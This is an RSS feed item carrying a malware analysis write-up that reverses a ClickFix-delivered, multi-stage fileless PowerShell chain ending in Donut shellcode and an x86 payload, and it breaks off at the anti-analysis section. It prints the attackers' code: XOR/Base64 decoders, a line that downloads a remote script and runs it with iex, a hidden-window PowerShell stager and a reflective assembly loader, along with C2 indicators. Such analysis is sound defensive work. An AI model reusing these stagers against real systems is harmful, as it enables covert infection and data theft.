<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>0xB14CKY</title><description>No description</description><link>https://fuwari.vercel.app/</link><language>en</language><item><title>PowerShell to Shellcode: Reversing a Fileless Multi-Stage Malware Chain May 2026</title><link>https://fuwari.vercel.app/posts/powershell-to-shellcode-reversing-a-fileless-multi-stage-malware-chain-may-2026/notes/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/powershell-to-shellcode-reversing-a-fileless-multi-stage-malware-chain-may-2026/notes/</guid><description>PowerShell to Shellcode: Reversing a Fileless Multi-Stage Malware Chain May 2026</description><pubDate>Fri, 08 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Multi-Stage PowerShell Loader &amp;amp; Donut Shellcode Analysis&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Author:&lt;/strong&gt; Jeel Nariya&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Published:&lt;/strong&gt; 2026-05-08&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Overview&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;This malware uses multiple PowerShell stages, XOR/Base64 obfuscation, and Donut shellcode to execute payloads completely in memory while avoiding static detection.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Infection Chain&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;images/6810300C-5ABA-403A-845D-07043F3D26C6.PNG&quot; alt=&quot;6810300C-5ABA-403A-845D-07043F3D26C6.PNG&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Stage Analysis&lt;/h1&gt;
&lt;h2&gt;Stage0 — Initial Payload&lt;/h2&gt;
&lt;h3&gt;URL&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;https[:]//6fd64f52[.]syscheck-loadverifyov3[.]pages[.]dev/?v=moa4x7jh&amp;amp;s=1&amp;amp;r=68h7
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;After opening this site it will automatically paste some Powershell malicious code into clipboard, this is classic social engineering technique named &lt;strong&gt;ClickFix&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Behavior&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260510170801.png&quot; alt=&quot;Pasted image 20260510170801.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This is something useful code and it looks malicious because it doing XOR decryption with a key,&lt;/li&gt;
&lt;li&gt;Here is the cleaned code,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;$key = &quot;xwT2sd46cGELLKZs4fEU&quot;
$data = [Convert]::FromBase64String(&quot;clMRQAELRncAMywjIhsoFlIDNzAWFDESTkQTZQorICI4JyMwWwgxPBYCMRV5QHdfFxEmfQI9CCRnFmVoWFU8RgcURwxMaCQ5OCM/C10IIjkXFjAcABRVVQZoJyI1PnQBFmwxJwFXLzhTRBQWRzQmPiU7LlMJRm0bHQB5fREOUVUXZwspOGUNFlYlKTwdGSAbXSBbQQ0rKi0oGC4BXQgifVw0PUYlBwV4FRUSHzxiUFMURmU8HQ90FgAHRl8TM08xbCg7B1cOZS4FfQ==&quot;)

$decoded = for ($i=0; $i -lt $data.Length; $i++) {
    $data[$i] -bxor [byte][char]$key[$i % $key.Length]
}

$script = -join ([char[]]$decoded)
Invoke-Expression $script
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;After decryption of this strings statically in cyberchef, it looks like this,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260510171924.png&quot; alt=&quot;Pasted image 20260510171924.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ErrorActionPreference = &apos;SilentlyContinue&apos;
$CitVc1NvRWSp = &quot;https://authexingload.space/bnyu.r&quot;
try {
    $script = (New-Object Net.WebClient).DownloadString($CitVc1NvRWSp)
    iex $script
} catch {}

Invoke-Expression $script
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Notes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;This stage0 try to decrypt some base64 and execute it, and it spits out the stage1 Powershell.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Stage1 — PowerShell Loader&lt;/h2&gt;
&lt;h3&gt;Behavior&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260510172343.png&quot; alt=&quot;Pasted image 20260510172343.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This script will download another stage from given URL,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;https[:]//authexingload[.]space/bnyu[.]r
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Stage2 — PowerShell Loader&lt;/h2&gt;
&lt;h3&gt;Behavior&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;This is another powershell stager which has large base64 blog,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;$ErrorActionPreference = &apos;SilentlyContinue&apos;
$pay = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(&apos;CgAkAEUAcgByAG8Acg.............pACkAIAB9AAoAfQAKAA==&apos;))
if ([IntPtr]::Size -eq 8) {
    $p86 = &quot;$env:SystemRoot\SysWOW64\WindowsPowerShell\v1.0\powershell.exe&quot;
    if (Test-Path $p86) {
        $si = New-Object System.Diagnostics.ProcessStartInfo
        $si.FileName = $p86
        $si.Arguments = &quot;-NoProfile -WindowStyle Hidden -Command -&quot;
        $si.UseShellExecute = $false
        $si.CreateNoWindow = $true
        $si.RedirectStandardInput = $true
        $proc = [System.Diagnostics.Process]::Start($si)
        $proc.StandardInput.WriteLine($pay)
        $proc.StandardInput.Close()
        exit
    }
}
IEX $pay
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260510173431.png&quot; alt=&quot;Pasted image 20260510173431.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Notes&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Technique&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Base64 encoding&lt;/td&gt;
&lt;td&gt;Obfuscation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hidden PowerShell&lt;/td&gt;
&lt;td&gt;Stealth&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;IEX&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Fileless execution&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;32-bit PowerShell&lt;/td&gt;
&lt;td&gt;Bypass defenses / compatibility&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;STDIN execution&lt;/td&gt;
&lt;td&gt;Avoid command-line logging&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NoProfile&lt;/td&gt;
&lt;td&gt;Cleaner environment&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Stage3 — Downloader&lt;/h2&gt;
&lt;h3&gt;Behavior&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Now after decoding the base64 blob it spits out something like this,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260510173846.png&quot; alt=&quot;Pasted image 20260510173846.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ErrorActionPreference = &apos;SilentlyContinue&apos;
Add-Type -AssemblyName System.Windows.Forms
$d = [Convert]::FromBase64String(&apos;QUD5izFgfnE3l9LtS...eLxX1piy68BgqtqGVtN&apos;)
$k = [Convert]::FromBase64String(&apos;DBppizJgfnEzl9LttCPeWFxuBA33gBKuY4Hkq2oZW00=&apos;)
$p = New-Object byte[] $d.Length
for ($i=0;$i -lt $d.Length;$i++) { $p[$i] = $d[$i] -bxor $k[$i % $k.Length] }
$a = [Reflection.Assembly]::Load($p)
$m = $a.EntryPoint
if ($m) {
    [Windows.Forms.Application]::EnableVisualStyles()
    $pa = $m.GetParameters()
    if ($pa.Length -eq 0) { $m.Invoke($null, $null) }
    else { $m.Invoke($null, @(,[string[]]@())) }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260510174541.png&quot; alt=&quot;Pasted image 20260510174541.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Notes&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Technique&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Base64&lt;/td&gt;
&lt;td&gt;Obfuscation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;XOR encryption&lt;/td&gt;
&lt;td&gt;Hide payload&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reflection.Assembly.Load&lt;/td&gt;
&lt;td&gt;Fileless execution&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;In-memory PE loading&lt;/td&gt;
&lt;td&gt;Evasion&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EntryPoint invocation&lt;/td&gt;
&lt;td&gt;Execute payload&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;No disk artifact&lt;/td&gt;
&lt;td&gt;Avoid AV scanning&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Stage4 - .NET Loader&lt;/h2&gt;
&lt;h3&gt;Behavior&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Now after XOE decrypting the base64 blob with given key, it gives one executable binary,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260510175416.png&quot; alt=&quot;Pasted image 20260510175416.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This is &lt;code&gt;.Net Compiled&lt;/code&gt; 32 bit Binary.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;┌──(b14cky㉿DESKTOP-VRSQRAJ)-[/]
└─$ file stage4.exe

stage4.exe.defused: PE32 executable for MS Windows 4.00 (GUI), Intel i386 Mono/.Net assembly, 3 sections
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Initial static analysis&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;I will perform some initial static analysis to get some context before diving into &lt;code&gt;dnspy&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;First and foremost thing is typical &lt;code&gt;virustotal&lt;/code&gt;,
&lt;ul&gt;
&lt;li&gt;I found almost 48 matches so this is not something new,&lt;/li&gt;
&lt;li&gt;Although previous stagers have no signatures on it.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260510191055.png&quot; alt=&quot;Pasted image 20260510191055.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I will start with &lt;code&gt;pestudio&lt;/code&gt;,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260510181045.png&quot; alt=&quot;Pasted image 20260510181045.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It is showing some details which are,
&lt;ul&gt;
&lt;li&gt;Compile time → Tue Apr 21 00:27:49 2026 (UTC)&lt;/li&gt;
&lt;li&gt;File Size, Version, description etc..&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260510181605.png&quot; alt=&quot;Pasted image 20260510181605.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Import details,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260510181949.png&quot; alt=&quot;Pasted image 20260510181949.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This is output of detect it easy specifying that it is,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260510180502.png&quot; alt=&quot;Pasted image 20260510180502.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;PE32&lt;/code&gt; → 32-bit Windows executable&lt;/li&gt;
&lt;li&gt;&lt;code&gt;I386&lt;/code&gt; → x86 architecture&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GUI&lt;/code&gt; → no console window, graphical app type&lt;/li&gt;
&lt;li&gt;&lt;code&gt;MSIL/C#&lt;/code&gt; → .NET executable written in C#&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.NET CLR v4.0.30319&lt;/code&gt; → requires .NET Framework 4.x runtime&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Microsoft Linker 11.0&lt;/code&gt; → likely compiled using Visual Studio 2012 toolchain&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Little Endian (LE)&lt;/code&gt; → standard x86 byte order&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Authenticode / PKCS#7&lt;/code&gt; → contains digital signature structure/certificate blob&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Overlay present&lt;/code&gt; → extra data appended after PE end&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Overlay Size 0x1d00&lt;/code&gt; → ~7 KB extra data appended&lt;/li&gt;
&lt;li&gt;Common malware indicators:
&lt;ul&gt;
&lt;li&gt;reflective .NET loading compatible&lt;/li&gt;
&lt;li&gt;hidden GUI execution&lt;/li&gt;
&lt;li&gt;possible packed/obfuscated payload&lt;/li&gt;
&lt;li&gt;possible hidden config/payload in overlay&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;This is the entropy information,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260510180717.png&quot; alt=&quot;Pasted image 20260510180717.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;There is some data in overlay which looks random,
&lt;ul&gt;
&lt;li&gt;it might be shellcode, packed data etc..&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260510180808.png&quot; alt=&quot;Pasted image 20260510180808.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Code Analysis&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Now i will open this stag4 sample into &lt;code&gt;dnspy&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;It has these many function including some junk code,&lt;/li&gt;
&lt;li&gt;We will start with main,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260510184539.png&quot; alt=&quot;Pasted image 20260510184539.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This is the Main code which is a Shellcode Loader,
&lt;ul&gt;
&lt;li&gt;Behavior:
&lt;ol&gt;
&lt;li&gt;decrypt embedded shellcode&lt;/li&gt;
&lt;li&gt;allocate executable memory&lt;/li&gt;
&lt;li&gt;inject shellcode into memory&lt;/li&gt;
&lt;li&gt;execute via native thread&lt;/li&gt;
&lt;li&gt;optionally perform decoy GUI actions&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260510183048.png&quot; alt=&quot;Pasted image 20260510183048.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It is also doing some Masquerading things like processing junk code to confuse the analyst,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260510184358.png&quot; alt=&quot;Pasted image 20260510184358.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It is a large byte array containing AES encrypted Shellcode,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260510184034.png&quot; alt=&quot;Pasted image 20260510184034.png&quot; /&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Behavior&lt;/th&gt;
&lt;th&gt;Why Suspicious&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Shellcode decryption&lt;/td&gt;
&lt;td&gt;Hidden payload&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RWX memory allocation&lt;/td&gt;
&lt;td&gt;Code injection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NtAllocateVirtualMemory&lt;/td&gt;
&lt;td&gt;Native API abuse&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NtCreateThreadEx&lt;/td&gt;
&lt;td&gt;Shellcode execution&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Marshal.Copy to executable memory&lt;/td&gt;
&lt;td&gt;Injection pattern&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hidden GUI&lt;/td&gt;
&lt;td&gt;Stealth&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Empty catch blocks&lt;/td&gt;
&lt;td&gt;Hide failures&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fake Microsoft naming&lt;/td&gt;
&lt;td&gt;Masquerading&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;DecryptShellcode Function analysis,&lt;/li&gt;
&lt;li&gt;This function:
&lt;ol&gt;
&lt;li&gt;Takes encrypted shellcode&lt;/li&gt;
&lt;li&gt;Decodes AES key + IV&lt;/li&gt;
&lt;li&gt;AES-decrypts payload in memory&lt;/li&gt;
&lt;li&gt;Returns executable shellcode bytes&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260510183621.png&quot; alt=&quot;Pasted image 20260510183621.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Dynamic Analysis to get Extract Shellcode&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260510185031.png&quot; alt=&quot;Pasted image 20260510185031.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;So to carve the shellcode, i put breakpoint right after decryption and it is written in array buffer so i carve it into a file called &lt;code&gt;stage5_shellcode.bin&lt;/code&gt;,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260510185222.png&quot; alt=&quot;Pasted image 20260510185222.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Notes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;This is summarized working flow,
&lt;img src=&quot;images/Pasted_image_20260510185719.png&quot; alt=&quot;Pasted image 20260510185719.png&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Stage5 - Donut Shellcode&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Doing some simple analysis to get some information and found that it is Donut shellcode,
&lt;ul&gt;
&lt;li&gt;https://github.com/thewover/donut&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260510191521.png&quot; alt=&quot;Pasted image 20260510191521.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Since it is open source so we see the main capabilities it have,
&lt;ul&gt;
&lt;li&gt;Executes payloads completely from memory (fileless execution)&lt;/li&gt;
&lt;li&gt;Supports EXE, DLL, .NET assemblies, VBScript, and JScript&lt;/li&gt;
&lt;li&gt;Uses dynamic API resolution and API hashing&lt;/li&gt;
&lt;li&gt;Walks the PEB to find loaded DLLs instead of normal imports&lt;/li&gt;
&lt;li&gt;Can encrypt/compress embedded payloads&lt;/li&gt;
&lt;li&gt;Supports AMSI/WLDP bypass techniques&lt;/li&gt;
&lt;li&gt;Hosts the .NET CLR in memory for reflective .NET execution&lt;/li&gt;
&lt;li&gt;Works well for process injection and reflective loading&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Shellcode Analysis&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Now after knowing that this is know in public so maybe there will some decrypted available which can be useful,&lt;/li&gt;
&lt;li&gt;This is very useful in that process,
&lt;ul&gt;
&lt;li&gt;https://github.com/volexity/donut-decryptor&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Installation commands,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;cd /path/to/donut-decryptor
python -m pip install .
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;After installation we can decrypt the shellcode,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;donut-decryptor --outdir shellcode_dec/ --debug stage5_shellcode.bin
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260513151540.png&quot; alt=&quot;Pasted image 20260513151540.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We get this 2 files,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;└─$ file *

inst_stage5_shellcode.bin: JSON text data
mod_stage5_shellcode.bin:  PE32 executable for MS Windows 6.00 (GUI), Intel i386, 5 sections
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Here is json file content,&lt;/li&gt;
&lt;li&gt;It shows the configuration of shellcode
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;A Donut-generated shellcode loader that contains an embedded DLL payload directly inside it, using normal Donut obfuscation but no compression.&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;File&quot;: &quot;stage5_shellcode.bin&quot;,
  &quot;Instance Type&quot;: &quot;DONUT_INSTANCE_EMBED&quot;,
  &quot;Entropy Type&quot;: &quot;DONUT_ENTROPY_DEFAULT&quot;,
  &quot;Decoy Module&quot;: &quot;&quot;,
  &quot;Module Type&quot;: &quot;DONUT_MODULE_DLL&quot;,
  &quot;Compression Type&quot;: &quot;DONUT_COMPRESS_NONE&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;But it decrypts the ASMx86 Compiled file,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;┌──(b14cky㉿DESKTOP-VRSQRAJ)-[~/]
└─$ diec stage6_carvedfromshellcode.bin -u --verbose

[HEUR/About] Generic Heuristic Analysis by DosX (@DosX_dev)
[HEUR] Scanning has begun!
[HEUR] Scanning to programming language has started!
[HEUR] Scan completed.
PE32
    Operation system: Windows(Vista)[I386, 32-bit, GUI]
    Linker: Microsoft Linker(14.36.35728)
    Compiler: MASM(14.36.35728)
    Language: ASMx86
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Stage6 - ASMx86 Analysis&lt;/h2&gt;
&lt;h3&gt;Initial Static Analysis&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Detect it Easy Shows high entropy in 2 sections for packed,
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;.text&lt;/code&gt; and &lt;code&gt;.reloc&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515132905.png&quot; alt=&quot;Pasted image 20260515132905.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Some static analysis using PEStudio again,
&lt;ul&gt;
&lt;li&gt;Compile Date: Tue Jul 16 11:09:57 2024 (UTC)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515131041.png&quot; alt=&quot;Pasted image 20260515131041.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515131409.png&quot; alt=&quot;Pasted image 20260515131409.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It contains the rich header means it is build using Visual Studio,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515131447.png&quot; alt=&quot;Pasted image 20260515131447.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Some malicious APIs and its actions,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515132648.png&quot; alt=&quot;Pasted image 20260515132648.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Initial Dynamic Analysis&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;I have used these 3 pair of tools,&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ProcMon: For Monitoring the Process&lt;/li&gt;
&lt;li&gt;RegShot: See the Diff or Registery&lt;/li&gt;
&lt;li&gt;Fakenet: To see network communication&lt;/li&gt;
&lt;li&gt;Process Hacker: Process Information&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;After executing malware as admin it immediately exist because as we make assumption that it is doing process injection so that&apos;s,&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515191257.png&quot; alt=&quot;Pasted image 20260515191257.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;After executing the sample, i found that this is trying to communicate with server,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515183851.png&quot; alt=&quot;Pasted image 20260515183851.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515185634.png&quot; alt=&quot;Pasted image 20260515185634.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;192[.]0[.]2[.]123
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Now you might think it has Anti-VM artifacts so why does it is executed so you will found that answer next section,&lt;/li&gt;
&lt;li&gt;It creates bunch of DLLs in same directory and removed it later,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515185824.png&quot; alt=&quot;Pasted image 20260515185824.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515185846.png&quot; alt=&quot;Pasted image 20260515185846.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;So now lets see the network logs in Wireshark,&lt;/li&gt;
&lt;li&gt;As mentioned, it is using encrypted traffic because it exfiltrate data on HTTPS.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515190746.png&quot; alt=&quot;Pasted image 20260515190746.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515191017.png&quot; alt=&quot;Pasted image 20260515191017.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;But in the &lt;code&gt;fakenet&lt;/code&gt; tab it is visible that where does request does,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515191529.png&quot; alt=&quot;Pasted image 20260515191529.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https[:]//tq[.]trxzidan[.]icu
https[:]//telegra[.]ph/Parameter-04-03
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Code Analysis&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;This is the whole working flow of this sample,
&lt;img src=&quot;images/Pasted_image_20260515160601.png&quot; alt=&quot;Pasted image 20260515160601.png&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Let me walk thought each one by one,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Start with &lt;code&gt;start&lt;/code&gt; or &lt;code&gt;entrypoint&lt;/code&gt; of the function,&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515162324.png&quot; alt=&quot;Pasted image 20260515162324.png&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Anti-Analysis Checks&lt;/h4&gt;
&lt;h5&gt;Environment Checks&lt;/h5&gt;
